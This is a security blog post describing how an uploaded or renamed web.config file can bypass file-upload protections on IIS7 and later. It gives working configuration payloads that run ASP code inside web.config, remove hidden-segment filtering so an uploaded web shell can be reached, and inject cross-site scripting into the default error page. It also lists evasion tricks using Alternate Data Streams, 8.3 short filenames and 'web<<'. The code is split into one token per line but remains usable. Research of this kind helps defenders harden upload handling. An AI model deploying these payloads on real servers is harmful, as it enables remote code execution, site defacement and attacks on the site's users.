The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells
In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.
Running web.config as an ASP file
Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
configuration
>
<
system.webServer
>
<
handlers
accessPolicy
=
"Read, Script, Write"
>
<
add
name
=
"web_config"
path
=
"*.config"
verb
=
"*"
modules
=
"IsapiModule"
scriptProcessor
=
"%windir%\system32\inetsrv\asp.dll"
resourceType
=
"Unspecified"
requireAccess
=
"Write"
preCondition
=
"bitness64"
/>
</
handlers
>
<
security
>
<
requestFiltering
>
<
fileExtensions
>
<
remove
fileExtension
=
".config"
/>
</
fileExtensions
>
<
hiddenSegments
>
<
remove
segment
=
"web.config"
/>
</
hiddenSegments
>
</
requestFiltering
>
</
security
>
</
system.webServer
>
</
configuration
>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
|
Removing protections of hidden segments
Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.
However, this method can be bypassed by removing the hidden segments by using the following web.config file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
configuration
>
<
system.webServer
>
<
security
>
<
requestFiltering
>
<
hiddenSegments
>
<
remove
segment
=
"bin"
/>
<
remove
segment
=
"App_code"
/>
<
remove
segment
=
"App_GlobalResources"
/>
<
remove
segment
=
"App_LocalResources"
/>
<
remove
segment
=
"App_Browsers"
/>
<
remove
segment
=
"App_WebReferences"
/>
<
remove
segment
=
"App_Data"
/>
<!--Other IIS hidden segments can be listed here -->
</
hiddenSegments
>
</
requestFiltering
>
</
security
>
</
system.webServer
>
</
configuration
>
|
Now, an uploaded web shell file can be directly accessible.
Creating XSS vulnerability in IIS default error page
Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.
The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
configuration
>
<
system.webServer
>
<
handlers
>
<!-- XSS by using *.config -->
<
add
name
=
"web_config_xss<script>alert('xss1')</script>"
path
=
"*.config"
verb
=
"*"
modules
=
"IsapiModule"
scriptProcessor
=
"fooo"
resourceType
=
"Unspecified"
requireAccess
=
"None"
preCondition
=
"bitness64"
/>
<!-- XSS by using *.test -->
<
add
name
=
"test_xss<script>alert('xss2')</script>"
path
=
"*.test"
verb
=
"*"
/>
</
handlers
>
<
security
>
<
requestFiltering
>
<
fileExtensions
>
<
remove
fileExtension
=
".config"
/>
</
fileExtensions
>
<
hiddenSegments
>
<
remove
segment
=
"web.config"
/>
</
hiddenSegments
>
</
requestFiltering
>
</
security
>
<
httpErrors
existingResponse
=
"Replace"
errorMode
=
"Detailed"
/>
</
system.webServer
>
</
configuration
>
|
Other techniques
Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):
Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.
Targeting more users via client-side attacks
Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.
Additional Tricks
Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.
Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.